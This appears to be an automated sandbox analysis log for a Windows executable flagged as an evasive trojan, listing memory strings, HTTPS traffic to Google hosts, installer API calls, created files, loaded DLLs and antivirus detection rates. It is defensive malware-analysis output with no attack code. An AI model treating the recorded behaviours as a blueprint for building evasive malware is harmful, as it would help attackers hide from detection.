00000003.00000003.122258534362.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120102425108.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120094923523.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776481233.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120095114017.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120439948809.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122364128029.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119988966029.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: Ub46mg9pn4.exe, 00000003.00000003.121561541749.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120545722621.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891463499.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122924292281.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.0000000006150000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120657853657.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122033042474.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120888797945.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122258534362.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555412789.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120320434019.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120102425108.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120094923523.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120776481233.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120095114017.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120439948809.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122364128029.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119988966029.000000000614D000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121891793726.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: Ub46mg9pn4.exe, 00000003.00000003.122252423471.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107152084.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120208667768.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555287794.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475837705.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263540323.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995021647.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263385452.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664516867.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225732461.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001326877.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812272065.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758644205.0000000006145000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252356672.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770131383.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Ub46mg9pn4.exe, 00000003.00000003.122252423471.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107152084.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120208667768.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555287794.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475837705.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263540323.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995021647.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263385452.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664516867.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225732461.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001326877.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812272065.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758644205.0000000006145000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252356672.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770131383.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Ub46mg9pn4.exe, 00000003.00000003.122252423471.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107152084.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120208667768.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555287794.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475837705.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263540323.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995021647.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263385452.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664516867.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225732461.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001326877.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812272065.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758644205.0000000006145000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252356672.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770131383.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Ub46mg9pn4.exe, 00000003.00000003.122252423471.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121898427170.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121107152084.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121219557620.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120208667768.0000000006140000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122139828640.00000000060B6000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121555287794.0000000006144000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122475837705.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263540323.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120995021647.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000002.123263385452.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120664516867.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121225732461.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121667005534.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121001326877.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122812272065.00000000060E4000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.119758644205.0000000006145000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.122252356672.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.120770131383.000000000614B000.00000004.00000020.00020000.00000000.sdmp, Ub46mg9pn4.exe, 00000003.00000003.121449856821.00000000060B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: unknown	HTTPS traffic detected: 142.250.190.78:443 -> 192.168.11.30:49806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49818 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.78:443 -> 192.168.11.30:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49856 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.78:443 -> 192.168.11.30:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.190.78:443 -> 192.168.11.30:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.191.225:443 -> 192.168.11.30:49873 version: TLS 1.2

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Code function: 1_2_00405553 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

1_2_00405553

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Code function: 1_2_00403489 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

1_2_00403489

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

File created: C:\Windows\resources\0409

Jump to behavior

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Code function: 1_2_00404D90		1_2_00404D90
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Code function: 1_2_00406ABA		1_2_00406ABA

Source: Ub46mg9pn4.exe

Static PE information: invalid certificate

Source: Ub46mg9pn4.exe, 00000001.00000000.118165367932.0000000000457000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameloyaliteters radierne.exeR vs Ub46mg9pn4.exe
Source: Ub46mg9pn4.exe, 00000003.00000000.119338994128.0000000000457000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameloyaliteters radierne.exeR vs Ub46mg9pn4.exe
Source: Ub46mg9pn4.exe	Binary or memory string: OriginalFilenameloyaliteters radierne.exeR vs Ub46mg9pn4.exe

Source: Ub46mg9pn4.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal68.troj.evad.winEXE@3/8@2/2

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

1_2_00403489

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Code function: 1_2_00404814 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

1_2_00404814

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Code function: 1_2_004020FE CoCreateInstance,

1_2_004020FE

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

File created: C:\Users\user\AppData\Local\Temp\nsvB009.tmp

Jump to behavior

Source: Ub46mg9pn4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Ub46mg9pn4.exe	Virustotal: Detection: 72%
Source: Ub46mg9pn4.exe	ReversingLabs: Detection: 75%

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe

File read: C:\Users\user\Desktop\Ub46mg9pn4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Ub46mg9pn4.exe "C:\Users\user\Desktop\Ub46mg9pn4.exe"
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Process created: C:\Users\user\Desktop\Ub46mg9pn4.exe "C:\Users\user\Desktop\Ub46mg9pn4.exe"
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Process created: C:\Users\user\Desktop\Ub46mg9pn4.exe "C:\Users\user\Desktop\Ub46mg9pn4.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ub46mg9pn4.exe	Section loaded: sspicli.dll	Jump to behavior
